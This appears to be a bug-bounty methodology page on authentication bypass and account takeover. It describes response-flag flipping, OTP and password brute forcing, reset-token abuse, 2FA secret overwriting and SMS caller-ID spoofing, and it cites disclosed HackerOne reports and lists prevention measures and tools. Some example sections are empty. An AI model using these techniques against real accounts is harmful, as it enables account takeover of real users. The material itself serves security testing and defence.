Authentication & ATO

§Basic information

Authentication is the gate that decides who you are; an auth bug lets you walk through it as someone else. The mechanism is almost always the same class of mistake: a trust decision made in the wrong place — the client, a request field, a response flag, a spoofable channel, or a token/limit that isn't actually enforced server-side. The payoff is the maximum one, account takeover (ATO), so treat every credential check, OTP, reset token, and "confirm your password" prompt as a control you must prove is enforced, not assume.

The whole game is where the decision lives and whether every path that touches it is guarded. A login form can be perfectly protected while the profile-edit endpoint that consumes the same OTP has no limiter; a password check can run server-side while the response that reports its verdict is trusted by the browser. Map the auth surface, then attack each gate in isolation — the obvious one is usually the one they hardened.

§Methodology

1. Enumerate the auth surface. Every login, signup, reset, verify, step-up, and settings endpoint — including JSON/GraphQL siblings the UI hides (resend-verify, check-email, loginUser/SignUp mutations, xmlrpc.php, wp-json/*/login).
2. Locate every gate for each account action: what proves identity here — a session, a request field, a response flag, an OTP, a token, a header?
3. Test each gate in isolation. Protection on /login tells you nothing about /settings/password or the reset-flow OTP that reuses the same code.
4. Probe the trust boundary — intercept the response, not just the request; flip flags; swap the identity/email field; replay tokens.
5. Confirm enforcement, not messaging. A 429, an error string, or a UI block is not proof the server rejected you; send correct/forged input while "blocked" and watch what the server actually returns.
6. Escalate to ATO. Turn the primitive (brute, bypass, token leak) into a changed email/password or a valid victim session, then confirm access.

§Technique variants

Find which trust boundary the target gets wrong, then use the matching attack.

Client-trusted flag or identity in the request

The login/authz request carries a boolean or an identity field the server believes. Flip the flag, swap the email — you're authenticated as the victim with no valid password.

Response-trust: the client believes the server's verdict

An SPA renders privileged state off a JSON flag in the response, not off a server-issued session. Intercept the response and flip the verdict — even the "wrong password" error can still ship status:true.

Same class, one level up — forging the server's success shape to walk past a step-up password/2FA prompt by echoing the client's own continuation token:

OTP / PIN / 2FA brute-force

Short numeric codes are only as strong as the throttle and expiry behind them. Test the verify endpoint separately — and test every path that consumes the code, not just login.

Password-reset abuse

The reset flow is a whole attack surface: where the link's host comes from, whether the token is bound/single-use/short-lived, and whether the OTP step is throttled.

Also test: reset OTP with no attempt cap on the final step (throttled earlier, open at the end); a verification token accepted as a reset token (scope confusion); a reset that completes with the token stripped from the URL; tokens that survive use and reissue.

Re-auth / step-up prompt bypass

"Confirm current password" and disable-2FA gates only work if they re-verify the right thing and are rate-limited. From a hijacked session, brute the unthrottled old-password field to convert a temporary session into a permanent takeover.

A subtler variant reconfigures a second factor instead of disabling it: a mutation that checks the password but never the current OTP lets you overwrite the victim's TOTP secret and backup codes.

Enumeration → brute chain

CAPTCHA on the UI is worthless if a JSON sibling leaks existence and skips the control. Harvest valid accounts from the unthrottled endpoint, then brute the login API.

SSO / signup identity confusion

Domain allowlists that compare a raw string but normalize on store, invite tokens not cryptographically bound to an email, and SSO plugins that mint sentinel-password shadow accounts.

Non-web & internal-trust gateways

Auth that leans on a spoofable channel or a trusted internal header sidesteps the web login entirely.

An SMS/USSD command feature authenticated by caller-ID alone is spoofable end-to-end (SMS/SS7): forge the victim's number as the sender to the carrier short code and issue account commands (OFF to disable SMS 2FA, tweet, DM, follow) with no other auth (#470749).

§Bypasses

§Escalation & impact

Auth bugs are both the start and the end of chains — nearly every one terminates in full ATO:

• Enumeration → brute → ATO — unthrottled sibling leaks existence, weak-password policy + non-blocking limiter finishes it (#209008).
• OTP brute → email/phone change → ATO — the contact-change path reuses the OTP but skips the login limiter (#202425); at scale this becomes mass-ATO.
• Session hijack (XSS/cookie theft) → re-auth brute → permanent ATO — the most common cross-class chain: an XSS-stolen session is made permanent by defeating the unthrottled "confirm current password" prompt (#982293). See the xss topic.
• 2FA takeover, not bypass — overwrite the victim's TOTP secret + backup codes so only the attacker's second factor works (#1139535).
• postMessage origin bypass → credential theft → reset → ATO — a regex-coercion origin check lets a look-alike domain receive the victim's token (#129873).
• Path traversal → leak internal JWT → header impersonation — a proxy URL-clean desync exfiltrates a signed Workhorse JWT, then a trusted Geo-GL-Id: key-<n> header impersonates any SSH key (#1040786). See the jwt topic.
• SSO enforcement bypass → downstream trust — a CRLF-in-email local account on an SSO-enforced domain reaches downstream source code via "Sign in with HackerOne" (#2101076).

§Prevention

• Derive auth from a server-issued session, never from a request field or a response flag. A login that trusts gateway/status/userEmail from the client is broken by design; move the entire decision server-side.
• Rate-limit and actually block every code/credential/re-auth field, on every path that consumes it — login, reset, profile-edit, step-up. A 429 that still authenticates is not a limiter.
• Expire and single-use every challenge token/OTP after a short TTL and N failed attempts; bind reset tokens to the address and scope, and build reset links from a configured canonical hostname (SERVER_NAME), never HTTP_HOST/X-Forwarded-Host.
• Re-verify the current factor on any security-setting change (2FA secret, backup codes, recovery contact) — the password alone is not enough, and a "trust this device" token must not survive an email change.
• Normalize before you compare (email/username) so control chars can't desync an allowlist, and bind invite tokens cryptographically to their email.
• Lock down secondary auth surfaces — xmlrpc.php, app-passwords, SMS/USSD gateways, trusted internal headers — and never authenticate on a spoofable channel (caller-ID, Referer).

§Tools

• Burp Suite — Repeater; Intruder / Turbo Intruder for OTP/PIN/password brute over numeric spaces; "Intercept response to this request" for response-trust and step-up flips.
• Collaborator / OOB host — reset-link poisoning and blind token capture.
• ffuf / custom scripts — exhausting numeric OTP spaces and enumeration oracles.
• jwt_tool — token forging/replay for internal-JWT chains.
• SMS caller-ID spoofing services — testing phone/USSD-authenticated gateways.

✦Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 181 in this class.

§References & practice

1. PortSwigger Web Security Academy — Authentication labs (hands-on practice).
2. All 181 disclosed reports for this class are catalogued as specimens above.
3. See also: exploit chains · payload libraries · methodology.